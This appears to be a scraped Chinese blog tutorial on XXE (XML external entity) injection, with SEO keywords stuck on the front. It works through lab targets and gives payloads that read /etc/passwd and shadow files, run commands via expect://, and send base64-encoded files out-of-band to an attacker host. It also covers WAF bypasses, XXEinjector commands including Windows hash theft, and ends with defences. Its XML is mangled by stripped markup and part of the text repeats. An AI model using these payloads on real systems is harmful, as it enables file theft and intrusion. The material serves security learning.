网站建设英文名词,网站推广神器,无锡app定制,网站建设评分文章目录 XXE 漏洞1. 基础概念1.1 XML基础概念1.2 XML与HTML的主要差异1.3 xml示例 2. 演示案例2.1 pikachu靶场XML2.1.1 文件读取2.1.2 内网探针或者攻击内网应用#xff08;触发漏洞地址#xff09;2.1.4 RCE2.1.5 引入外部实体DTD2.1.6 无回显读取文件 3. XXE 绕过3.1 dat… 文章目录 XXE 漏洞1. 基础概念1.1 XML基础概念1.2 XML与HTML的主要差异1.3 xml示例 2. 演示案例2.1 pikachu靶场XML2.1.1 文件读取2.1.2 内网探针或者攻击内网应用触发漏洞地址2.1.4 RCE2.1.5 引入外部实体DTD2.1.6 无回显读取文件 3. XXE 绕过3.1 data://协议绕过3.2 file://协议加文件上传3.3 php://filter协议加文件上传 4. XXE 靶场4.1 xxe-lab靶场4.2 CTF-Jarvis-OJ-Web-XXE4.3 Vulnhub/XXE Lab: 1 5. XXE 工具5.1 获取地址5.2 参数说明5.3 工具使用 6. XXE 安全防御 XXE 漏洞 1. 基础概念
1.1 XML基础概念
XML被设计为传输和存储数据XML文档结构包括XML声明、DTD文档 类型定义(可选)、文档元素其焦点是数据的内容其把数据从HTML分离是独立于软件和硬件的信息传输工具。XXE漏洞全称XML External Entity Injection即XML外部实体注入漏洞XXE漏洞发生在应用程序解析XML输入时没有禁止外部实体的加载导致可加载恶意外部文件造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
1.2 XML与HTML的主要差异
XML被设计为传输和存储数据其焦点是数据的内容。
HTML被设计用来显示数据其焦点是数据的外观。
HTML旨在显示信息而XML旨在传输信息。
1.3 xml示例
!--文档类型定义--
!DOCTYPE note [ !--定义此文档时note类型的文档--
!ELEMENT note (to,from,heading,body) !--定义note元素有四个元素--
!ELEMENT to (#PCDATA) !--定义to元素为#PCDATA类型--
!ELEMENT from (#PCDATA) !--定义from元素为#PCDATA类型--
!ELEMENT head (#PCDATA) !--定义head元素为#PCDATA类型--
!ELEMENT body (#PCDATA) !--定义body元素为#PCDATA类型--
]]]!--文档元素--
notetoDave/tofromTom/fromheadReminder/headbodyYou are a good man/body
/note2. 演示案例
2.1 pikachu靶场XML
libxml2PHPJava.NETfilehttpftpfilehttpftpphpcompress.zlibcompress.bzip2dataglobpharhttphttpsftpfilejarnetdocmailtogopher *filehttphttpsftp
开启靶场 2.1.1 文件读取
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM file:///C:/Windows/System32/drivers/etc/hosts
]
xxxe;/x注意文件读取的前提是得有读取的文件。 2.1.2 内网探针或者攻击内网应用触发漏洞地址
?xml version 1.0 encodingUTF-8?
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTYTY wuhu SYSTEM http://192.168.188.194:80/index.txt
]
xwuhu;/x上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描看一下端口是否开放。
如果访问的文件不存在会显示如下图的信息 说明这种情况实战中一般不容易遇到因为前提条件比较多确定内网上存在该文件并且确定存在该漏洞。还得确定内网上存在该IP地址。
2.1.4 RCE
该CASE是在安装expect扩展的PHP环境里执行系统命令
?xml version 1.0?
!DOCTYPE ANY [!ENTITY xxe SYSTEM expect://id
]
xxxe;/xid是对于的执行的命令。实战情况比较难碰到。
2.1.5 引入外部实体DTD
?xml version 1.0?
!DOCTYPE test [!ENTITY % file SYSTEM http://127.0.0.1/evil2.dtd%file;
]
xsend;/xevil2.dtd文件 文件内容如下
!ENTITY send SYSTEM file:///c:/wuhu.txt条件看对方的应用有没有禁用外部实体引用这也是防御XXE的一种措施。
2.1.6 无回显读取文件
先将靶场的回显代码注释掉 攻击代码
?xml version 1.0?
!DOCTYPE test [!ENTITY % file SYSTEM php://filter/readconvert.base64-encode/resourcec:/wuhu.txt!ENTITY % dtd SYSTEM http://192.168.188.197/test.dtd%dtd;%send;
]test.dtd
!ENTITY % payload!ENTITY #x25; send SYSTEM
http://192.168.188.197/?data%file;%payload;上面的url一般是自己的网站通过第一步访问文件然后再访问dtd文件把读取到的数据赋给data然后我们只需要再自己的网站日志或者写个php脚本保存下来就能看到读取到的文件数据了。
开启phpstudy–apache日志 然后进行攻击无回显查看日志信息。 解码网站。 3. XXE 绕过
CTF XXE
绕过WAF保护的XXE
’ENTITY‘ ’YSTEM‘ ’file‘ 等关键词被过滤
使用编码方式绕过UTF-16BE cat payload.xml | iconv -f utf-8 -t utf-16be payload.8-16be.xml
若http被过滤可以使用如下进行绕过
3.1 data://协议绕过
?xml version1.0 ?
!DOCTYPE test [!ENTITY % a !ENTITY % b SYSTEM http://118.25.14.40:8200/hack.dtd %a;%b;
]
testhhh;/test3.2 file://协议加文件上传
?xml version1.0 ?
!DOCTYPE test [!ENTITY % a SYSTEM file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg%a;
]
!--上传文件--
!ENTITY % b SYSTEM http://118.25.14.40:8200/hack.dtd3.3 php://filter协议加文件上传
?xml version1.0 ?
!DOCTYPE test [!ENTITY % a SYSTEM php://filter/resource/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg%a;
]testhhh;/test!--上传文件--
!ENTITY hhh SYSTEM php://filter/readconvert.base64-encode/resource./flag.php
?xml version1.0 ?
!DOCTYPE test [!ENTITY % a SYSTEM php://filter/readconvert.base64-decode/resource/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg%a;
]testhhh;/test
!--上传文件--
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg4. XXE 靶场
4.1 xxe-lab靶场
https://github.com/c0ny1/xxe-lab使用bp抓取数据包发现Content-Type参数是application/xml说明在传输数据的时候采用的是xml语言进行传输的。并且传递的数据中代码的写法也是xml语言的写法。从而就证明了存在XXE漏洞。 Payload
?xml version1.0?
!DOCTYPE Mikasa [
!ENTITY test SYSTEM file:///C:/wuhu.txt
]
userusernametest;/usernamepasswordMikasa/password/user将数据包发送到Request模块然后将攻击的payload复制到指定的位置上发包即可。 读取文件获取用户名密码
?xml version1.0 encodingUTF-8?
!DOCTYPE note[
!ENTITY test SYSTEM PHP://filter/readconvert.base64-encode/resourceC:/software/phpstudy_pro/WWW/xxe-lab-master/php_xxe/doLogin.php
]userusernameadmin;test;/usernamepassword123456/password/user对读取的内容进行base64解码 返回页面进行登录。 4.2 CTF-Jarvis-OJ-Web-XXE
链接地址
访问页面如下 点击Go!使用BurpSuite抓取数据包 发现Content-Type的参数是application/json类型的传递的数据格式是JSON格式的。
那么我们可以修改Content-Type的类型为xml并提交构造的Payload。
?xml version1.0?
!DOCTYPE ANY [
!ENTITY ss SYSTEM file:///etc/passwd
]
xss;/x读取etc下的shadow文件 4.3 Vulnhub/XXE Lab: 1
靶场地址Vulnhub/XXE Lab: 1。
下载链接Download (Mirror)。
5. XXE 工具
XXEinjector本身提供了非常丰富的操作选项所以大家在利用XXEinjector进行渗透测试之前请自习了解这些配置选项以最大限度地发挥XXEinjector的功能。当然了由于XXEinjector是基于Ruby开发的所以Ruby运行环境就是必须的了。这里建议在kali环境下运行。
5.1 获取地址
https://github.com/enjoiz/XXEinjector
https://github.com/enjoiz/XXEinjector/archive/master.zip5.2 参数说明
--host # 必填项– 用于建立反向链接的IP地址。(--host192.168.0.2)
--file # 必填项- 包含有效HTTP请求的XML文件。(--file/tmp/req.txt)
--path # 必填项-是否需要枚举目录 – 枚举路径。(--path/etc)
--brute # 必填项-是否需要爆破文件 -爆破文件的路径。(--brute/tmp/brute.txt)
--logger # 记录输出结果。
--rhost # 远程主机IP或域名地址。(--rhost192.168.0.3)
--rport # 远程主机的TCP端口信息。(--rport8080)
--phpfilter # 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc # 使用netdoc协议。(Java).
--enumports # 枚举用于反向链接的未过滤端口。(--enumports21,22,80,443,445)
--hashes # 窃取运行当前应用程序用户的Windows哈希。
--expect # 使用PHP expect扩展执行任意系统命令。(--expectls)
--upload # 使用Java jar向临时目录上传文件。(--upload/tmp/upload.txt)
--xslt # XSLT注入测试。
--ssl # 使用SSL。
--proxy # 使用代理。(--proxy127.0.0.1:8080)
--httpport # Set自定义HTTP端口。(--httpport80)
--ftpport # 设置自定义FTP端口。(--ftpport21)
--gopherport # 设置自定义gopher端口。(--gopherport70)
--jarport # 设置自定义文件上传端口。(--jarport1337)
--xsltport # 设置自定义用于XSLT注入测试的端口。(--xsltport1337)
--test # 该模式可用于测试请求的有效。
--urlencode # URL编码默认为URI。
--output # 爆破攻击结果输出和日志信息。(--output/tmp/out.txt)
--timeout # 设置接收文件/目录内容的Timeout。(--timeout20)
--contimeout # 设置与服务器断开连接的防止DoS出现。(--contimeout20)
--fast # 跳过枚举询问有可能出现结果假阳性。
--verbose # 显示verbose信息。5.3 工具使用
枚举HTTPS应用程序中的/etc目录
ruby XXEinjector.rb --host192.168.0.2 --path/etc --file/tmp/req.txt –ssl使用gopherOOB方法枚举/etc目录
ruby XXEinjector.rb --host192.168.0.2 --path/etc --file/tmp/req.txt --oobgopher二次漏洞利用
ruby XXEinjector.rb --host192.168.0.2 --path/etc --file/tmp/vulnreq.txt--2ndfile/tmp/2ndreq.txt使用HTTP带外方法和netdoc协议对文件进行爆破攻击
ruby XXEinjector.rb --host192.168.0.2 --brute/tmp/filenames.txt--file/tmp/req.txt --oobhttp –netdoc通过直接性漏洞利用方式进行资源枚举
ruby XXEinjector.rb --file/tmp/req.txt --path/etc --directUNIQUEMARK枚举未过滤的端口
ruby XXEinjector.rb --host192.168.0.2 --file/tmp/req.txt --enumportsall窃取Windows哈希
ruby XXEinjector.rb--host192.168.0.2 --file/tmp/req.txt –hashes使用Java jar上传文件
ruby XXEinjector.rb --host192.168.0.2 --file/tmp/req.txt--upload/tmp/uploadfile.pdf使用PHP expect执行系统指令
ruby XXEinjector.rb --host192.168.0.2 --file/tmp/req.txt --oobhttp --phpfilter--expectls测试XSLT注入
ruby XXEinjector.rb --host192.168.0.2 --file/tmp/req.txt –xslt记录请求信息
ruby XXEinjector.rb --logger --oobhttp--output/tmp/out.txt6. XXE 安全防御
防范XXE攻击可以采取以下措施
输入验证和过滤对于接收到的 XML 输入进行严格的输入验证和过滤。确保只接受符合预期格式和结构的 XML 数据并拒绝不受信任或异常的输入。禁用外部实体解析在 XML 解析器中禁用或限制外部实体的解析。可以通过设置解析器参数、使用安全配置文件如 XXE 防御模板或编程方式来实现。使用本地 DTD避免使用外部 DTDDocument Type Definition文件并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。解析时禁用网络访问配置 XML 解析器确保在解析 XML 时禁用或限制对外部网络资源的访问以防止加载远程实体或资源。使用安全的解析库选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库并及时应用安全补丁。白名单验证根据业务需求使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型拒绝其他实体和不可信的数据类型。安全配置对服务器和应用程序进行安全配置例如限制文件系统访问权限、禁止外部网络请求等以减少攻击面和风险。升级至最新的 XML 规范使用最新的 XML 规范如 XML 1.1 版本在新规范中对 XXE 攻击进行了一些改进和修复。 解析器参数、使用安全配置文件如 XXE 防御模板或编程方式来实现。使用本地 DTD避免使用外部 DTDDocument Type Definition文件并使用本地 DTD 或内联 DTD 来定义 XML 结构。这样可以防止攻击者利用外部实体声明。解析时禁用网络访问配置 XML 解析器确保在解析 XML 时禁用或限制对外部网络资源的访问以防止加载远程实体或资源。使用安全的解析库选择使用经过安全审计和漏洞修复的 XML 解析库。确保使用最新版本的解析库并及时应用安全补丁。白名单验证根据业务需求使用白名单验证来限制允许的实体和合法的数据类型。只允许所需的实体和数据类型拒绝其他实体和不可信的数据类型。安全配置对服务器和应用程序进行安全配置例如限制文件系统访问权限、禁止外部网络请求等以减少攻击面和风险。升级至最新的 XML 规范使用最新的 XML 规范如 XML 1.1 版本在新规范中对 XXE 攻击进行了一些改进和修复。安全审计和测试定期进行安全审计和测试包括代码审查、渗透测试和漏洞扫描等以发现并修复潜在的 XXE 漏洞。